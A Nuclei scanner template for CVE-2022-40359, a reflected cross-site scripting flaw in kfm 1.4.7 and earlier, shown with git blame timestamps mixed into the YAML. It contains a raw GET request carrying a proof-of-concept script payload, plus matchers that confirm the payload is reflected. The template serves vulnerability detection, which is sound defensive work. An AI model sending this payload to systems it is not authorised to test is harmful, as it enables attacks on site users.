2022-10-04 12:58:20 +00:00
|
|
|
id: CVE-2022-40359
|
|
|
|
|
|
|
|
info:
|
2022-10-04 17:05:30 +00:00
|
|
|
name: kfm <= 1.4.7 - Reflected Cross-Site Scripting
|
|
|
|
author: edoardottt,daffainfo
|
2022-10-04 12:58:20 +00:00
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Cross site scripting (XSS) vulnerability in kfm through 1.4.7 via crafted GET request to /kfm/index.php.
|
|
|
|
reference:
|
|
|
|
- https://cxsecurity.com/issue/WLB-2022090057
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40359
|
2022-11-11 14:05:07 +00:00
|
|
|
- https://code.google.com/archive/p/kfm/downloads
|
2022-10-04 12:58:20 +00:00
|
|
|
classification:
|
2022-11-11 14:05:07 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-10-04 12:58:20 +00:00
|
|
|
cve-id: CVE-2022-40359
|
2022-11-11 14:05:07 +00:00
|
|
|
cwe-id: CWE-79
|
2022-11-11 10:12:39 +00:00
|
|
|
metadata:
|
2022-11-11 14:05:07 +00:00
|
|
|
verified: "true"
|
2022-11-11 10:12:39 +00:00
|
|
|
tags: cve,cve2022,xss,kfm
|
2022-10-04 12:58:20 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
2022-10-04 17:05:30 +00:00
|
|
|
GET /kfm/index.php/'<script>alert(document.domain);</script> HTTP/1.1
|
2022-10-04 12:58:20 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-10-04 17:05:30 +00:00
|
|
|
- "<script>alert(document.domain);</script>"
|
|
|
|
- "x_kfm_changeCaption"
|
|
|
|
- "kfm_copyFiles"
|
2022-11-11 10:12:39 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|